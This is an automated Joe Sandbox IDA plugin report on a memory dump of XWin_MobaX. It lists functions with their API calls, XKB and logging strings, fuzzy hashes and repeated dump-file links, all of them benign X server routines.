Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$Safe$_strdup$xorg_backtrace$callocfree$Keyboard$AllocDfltsFreeMessageRulesVerbmemset
String ID: $BUG: %s:%u in %s()$BUG: triggered 'if (dev == ((void *)0))'$BUG: triggered 'if (dev->kbdfeed != ((void *)0))'$BUG: triggered 'if (dev->key != ((void *)0))'$BUG: triggered 'if (rmlvo && keymap)'$InitKeyboardDeviceStructInternal$L$VUUU$XKB: Failed to allocate XKB info$XKB: Failed to allocate key class$XKB: Failed to allocate key feedback class$XKB: Failed to allocate keyboard description$XKB: Failed to compile keymap$XKB: Failed to copy keymap$XKB: Reusing cached keymap$xkbInit.c
API String ID: 2894307358-3513347214
Opcode ID: 34fcab9dad599d751c2b33a228622935177750ba76b989842c42ab583a4fac11
Instruction ID: 472e155b5ef0c74e900d6efce6149c7c7180ea93bf72faa24f715833d5ceba2c
Opcode Fuzzy Hash: 34fcab9dad599d751c2b33a228622935177750ba76b989842c42ab583a4fac11
Instruction Fuzzy Hash: F82203B4A04205DFCB10EF69C498B9ABBF0BF44304F15C56AE8988B362D778D985CF56

Function 0040D073 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 205
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040D0A1
getenv.MSVCRT ref: 0040D0AD
strcpy.MSVCRT ref: 0040D0CF
strlen.MSVCRT ref: 0040D0DD
winGetBaseDir.XWIN_MOBAX ref: 0040D164
winGetDisplayName.XWIN_MOBAX ref: 0040D1C9
strlen.MSVCRT ref: 0040D1D7
malloc.MSVCRT ref: 0040D1E2
sprintf.MSVCRT ref: 0040D208
_putenv.MSVCRT ref: 0040D213
strlen.MSVCRT ref: 0040D220
malloc.MSVCRT ref: 0040D22B
sprintf.MSVCRT ref: 0040D24A
_putenv.MSVCRT ref: 0040D255
strncmp.MSVCRT ref: 0040D2ED
strlen.MSVCRT ref: 0040D2FF
memcpy.MSVCRT ref: 0040D318
strlen.MSVCRT ref: 0040D326
strcpy.MSVCRT ref: 0040D38C

Strings

XWINLOGFILE=%s, xrefs: 0040D23C
%display%, xrefs: 0040D2DF
HOME, xrefs: 0040D0A6
8, xrefs: 0040D08A
%s\system.XWinrc, xrefs: 0040D16D
DISPLAY=%s, xrefs: 0040D1FA

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: strlen$_putenvmallocsprintfstrcpy$BaseDisplayNamegetenvmemcpymemsetstrncmp
String ID: %display%$%s\system.XWinrc$8$DISPLAY=%s$HOME$XWINLOGFILE=%s
API String ID: 2776155659-737551252
Opcode ID: da7b3d69e3ee4651e9f55ce3f64db3fa6ecfae05783f653e61bc4da6a3908c95
Instruction ID: 386632f21a762ce2e58c999075b1eabaca176362d6719275d5eddae921104224
Opcode Fuzzy Hash: da7b3d69e3ee4651e9f55ce3f64db3fa6ecfae05783f653e61bc4da6a3908c95
Instruction Fuzzy Hash: 2AA127B59046098FCB04EFA4C4856EDBBF5BF58304F0584AEE484EB391E7789A44CF96

Function 004F119F Relevance: 36.8, APIs: 15, Strings: 6, Instructions: 98windowCOMMON

Download Yara Rule

APIs

LogMessage.XWIN_MOBAX ref: 004F11FC

Strings

XKB: Couldn't create rules struct, xrefs: 004F1260
%s/rules/%s, xrefs: 004F11C8
XKB: Couldn't parse rules file %s, xrefs: 004F12A6
XKB: Rules name is too long, xrefs: 004F11ED
XKB: Couldn't open rules file %s, xrefs: 004F1234
XKB: Rules returned no components, xrefs: 004F133A

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Message
String ID: %s/rules/%s$XKB: Couldn't create rules struct$XKB: Couldn't open rules file %s$XKB: Couldn't parse rules file %s$XKB: Rules name is too long$XKB: Rules returned no components
API String ID: 2030045667-306719441
Opcode ID: 841bb27d28f3b14a1d46ba21f0917ce16882a4168b95706bdafa12951bacee9b
Instruction ID: b0f7c5e2cc18b86e403e05d36807dca1ef09c235cf3eb7b2b9c6058508badd3d
Opcode Fuzzy Hash: 841bb27d28f3b14a1d46ba21f0917ce16882a4168b95706bdafa12951bacee9b
Instruction Fuzzy Hash: BA41B3B4908309DFDB00EFA5C5497AEBBF0BB44704F41881EE99897341D77899848F66

Function 00412257 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00412374
FatalError.XWIN_MOBAX ref: 0041238E
ErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,00410539), ref: 004124ED

Strings

XWin was started with the following command line:%s, xrefs: 004124E6
winLogCommandLine - Could not allocate memory for command line string. Exiting., xrefs: 00412387

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$Fatalmalloc
String ID: XWin was started with the following command line:%s$winLogCommandLine - Could not allocate memory for command line string. Exiting.
API String ID: 1725317270-3652798954
Opcode ID: cbc2f036cf9492d72dde5033a3dfa6782ce0788f82e8d669cfc5f8f567eebe76
Instruction ID: 299900992ad85c7fb50164053372dd497eb1bc4c762612b59a7c702aa26f513f
Opcode Fuzzy Hash: cbc2f036cf9492d72dde5033a3dfa6782ce0788f82e8d669cfc5f8f567eebe76
Instruction Fuzzy Hash: 4981F570A0060ADFCB00DF68D885B9DB7F2BF49304F148929E464DB321E779EA54CB5A

Function 004F2019 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 291stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 004F2091
strchr.MSVCRT ref: 004F20A7
Xstrdup.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,none), ref: 004F210B
strcmp.MSVCRT ref: 004F21E4
Xstrdup.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,none), ref: 004F211E

Part of subcall function 005ADA34: _strdup.MSVCRT ref: 005ADA4D

memset.MSVCRT ref: 004F21B7
strtok.MSVCRT ref: 004F223F
Xstrdup.XWIN_MOBAX ref: 004F22BF
Xstrdup.XWIN_MOBAX ref: 004F22D2
Xstrdup.XWIN_MOBAX ref: 004F22E5
Xstrdup.XWIN_MOBAX ref: 004F22F8
Xstrdup.XWIN_MOBAX ref: 004F230B
Xstrdup.XWIN_MOBAX ref: 004F231E
Xstrdup.XWIN_MOBAX ref: 004F2331
Xstrdup.XWIN_MOBAX ref: 004F2344
Xstrdup.XWIN_MOBAX ref: 004F2357

Strings

(, xrefs: 004F21A1
, xrefs: 004F2099
none, xrefs: 004F201C, 004F201D

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Xstrdup$strchr$_strdupmemsetstrcmpstrtok
String ID: $($none
API String ID: 1730567313-650932732
Opcode ID: 54c9e7e8c4fccd54e4b733d11b31b3cea532713966b370807df12097cd364230
Instruction ID: 96501aee899f04c904951c1170971b92b5a538fe600aa5f245247ba25f45f8ac
Opcode Fuzzy Hash: 54c9e7e8c4fccd54e4b733d11b31b3cea532713966b370807df12097cd364230
Instruction Fuzzy Hash: F7D1D2B4A042498FDB00DF68C584AAEBBF1FF49310F51889AED94DB321D778E941CB65

Function 0054537D Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 354stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00545504
realloc.MSVCRT ref: 0054551C
SendErrorToClient.XWIN_MOBAX ref: 005457AB
ClientWakeup.XWIN_MOBAX ref: 005457B8
free.MSVCRT ref: 005457F8
free.MSVCRT ref: 00545806
free.MSVCRT ref: 00545811

Strings

-, xrefs: 005457A0
U, xrefs: 00545764

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: free$Client$ErrorSendWakeupreallocstrlen
String ID: -$U
API String ID: 3362487786-624773244
Opcode ID: c5a03f3dccf391e8b021267bf2faadcc878e1ba57f2cb00f5f7cd8b56563b394
Instruction ID: 105181cb99d2853d564a3ca24f21c619f1e4968290bd940d05a87e246d7614e9
Opcode Fuzzy Hash: c5a03f3dccf391e8b021267bf2faadcc878e1ba57f2cb00f5f7cd8b56563b394
Instruction Fuzzy Hash: 15F1AC78A05A08DFCB04DF69C584AADBBF1FF88314F15C46AE8589B322E734E941DB51

Function 0040201A Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 125windowCOMMON

Download Yara Rule

APIs

winInitializeGlobals.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005AB819), ref: 00402020

Part of subcall function 00401A14: winGetBaseDir.XWIN_MOBAX ref: 00401A30
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401A3E
Part of subcall function 00401A14: strncpy.MSVCRT ref: 00401A6E
Part of subcall function 00401A14: strncpy.MSVCRT ref: 00401A8D
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401B02
Part of subcall function 00401A14: strlen.MSVCRT ref: 00401B26
Part of subcall function 00401A14: strchr.MSVCRT ref: 00401B43
Part of subcall function 00401A14: _strdup.MSVCRT ref: 00401D38
Part of subcall function 00401A14: free.MSVCRT ref: 00401D48

LogInit.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 00402060
LogInit.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 0040207C

Part of subcall function 005B198A: _strdup.MSVCRT ref: 005B1A09
Part of subcall function 005B198A: fopen.MSVCRT ref: 005B1A63
Part of subcall function 005B198A: FatalError.XWIN_MOBAX ref: 005B1A84
Part of subcall function 005B198A: setvbuf.MSVCRT ref: 005B1AA9
Part of subcall function 005B198A: _fileno.MSVCRT ref: 005B1AB6
Part of subcall function 005B198A: fwrite.MSVCRT ref: 005B1AF7
Part of subcall function 005B198A: fflush.MSVCRT ref: 005B1B04
Part of subcall function 005B198A: free.MSVCRT ref: 005B1B23

LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 00402095
LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020AA
LogSetParameter.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020BF
winLogVersionInfo.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020CE
winDebug.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020E8
winInitializeScreens.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00548FE9), ref: 004020F4
LogMessage.XWIN_MOBAX ref: 0040218D

Part of subcall function 005B29CD: LogVMessageVerb.XWIN_MOBAX(?,?,?,?,?,?,?,?,004DFCFE), ref: 005B29F5

Strings

OsVendorInit - Creating default screen 0, xrefs: 004020E1
.old, xrefs: 00402055, 00402071
Ag, xrefs: 0040206C
Windows reports only %d mouse buttons, defaulting to -emulate3buttons, xrefs: 0040217E

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Parameterstrlen$InitInitializeMessage_strdupfreestrncpy$BaseDebugErrorFatalGlobalsInfoScreensVerbVersion_filenofflushfopenfwritesetvbufstrchr
String ID: .old$OsVendorInit - Creating default screen 0$Windows reports only %d mouse buttons, defaulting to -emulate3buttons$Ag
API String ID: 3254954268-2721809124
Opcode ID: 9cb690fee0bdb645b6dbe8112a606de16f84ca099326eabdc1aef0f07bde9ab2
Instruction ID: 47c47b03a0322c2ea3fc1740c9b0afdf8a7d682158f8c2346589c4badf1a35ea
Opcode Fuzzy Hash: 9cb690fee0bdb645b6dbe8112a606de16f84ca099326eabdc1aef0f07bde9ab2
Instruction Fuzzy Hash: 54515D74A00201CBD704DF69D989B5EBBF5BB90304F54812AE588EB3E1DBB8D841CF5A

Function 0054824F Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

xreallocarray.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,00548791), ref: 00548286
xfont2_empty_font_pattern_cache.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,00548791), ref: 0054850B

Strings

U, xrefs: 00548495
[dix] Removing empty element from the valid list of fontpaths, xrefs: 00548312

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: xfont2_empty_font_pattern_cachexreallocarray
String ID: U$[dix] Removing empty element from the valid list of fontpaths
API String ID: 3053043568-1620585157
Opcode ID: 2876f2b48ffe0694f77e6763e29f71b57d5421cf6da6b349f02d584aff8441d9
Instruction ID: 1178c01e2aa53f01874f24c1028ccd6ffce54f271887c906ef69b32c388fcefa
Opcode Fuzzy Hash: 2876f2b48ffe0694f77e6763e29f71b57d5421cf6da6b349f02d584aff8441d9
Instruction Fuzzy Hash: D8B1A4B4E0460ADFCB00DFA9C484AEEBBF1BF48308F158959E854AB351D778AA45CF51

Function 004160BF Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

ErrorF.XWIN_MOBAX ref: 00416134

Part of subcall function 005B30DC: VErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005678BD), ref: 005B30F5

miSetVisualTypesAndMasks.XWIN_MOBAX ref: 004161A3
ErrorF.XWIN_MOBAX ref: 004161B3
miSetVisualTypesAndMasks.XWIN_MOBAX ref: 00416269
ErrorF.XWIN_MOBAX ref: 00416279
ErrorF.XWIN_MOBAX ref: 0041628E

Strings

winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed for PseudoColor, xrefs: 00416211
winInitVisualsShadowGDI - Masks %08x %08x %08x BPRGB %d d %d bpp %d, xrefs: 0041612D
winInitVisualsShadowGDI - Unknown screen depth, xrefs: 00416287
winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed, xrefs: 004161AC, 00416272

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$MasksTypesVisual
String ID: winInitVisualsShadowGDI - Masks %08x %08x %08x BPRGB %d d %d bpp %d$winInitVisualsShadowGDI - Unknown screen depth$winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed$winInitVisualsShadowGDI - miSetVisualTypesAndMasks failed for PseudoColor
API String ID: 2202719466-3842817597
Opcode ID: 9850c3dd6752bddcc16b1e72ef649987a9cf32b8603c88331bbc0933f58d0278
Instruction ID: 8943d5593741d699493becb4dbecab1af69e1ce44e5ac55176289c3f97d76548
Opcode Fuzzy Hash: 9850c3dd6752bddcc16b1e72ef649987a9cf32b8603c88331bbc0933f58d0278
Instruction Fuzzy Hash: B851C8B4A043158FDB50EF58C584A9EBBF0FF88310F11895AE89897352D378E8858F66

Function 00410050 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041007D
KiUserCallbackDispatcher.NTDLL ref: 0041008E
winErrorFVerb.XWIN_MOBAX ref: 004100C7

Part of subcall function 00409550: LogVMessageVerb.XWIN_MOBAX ref: 00409578

LoadImageA.USER32 ref: 004102EC

Strings

(, xrefs: 0041020C
e, xrefs: 00410327
winInitializeScreenDefaults - primary monitor w %d h %d, xrefs: 004100B8
@, xrefs: 00410309

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

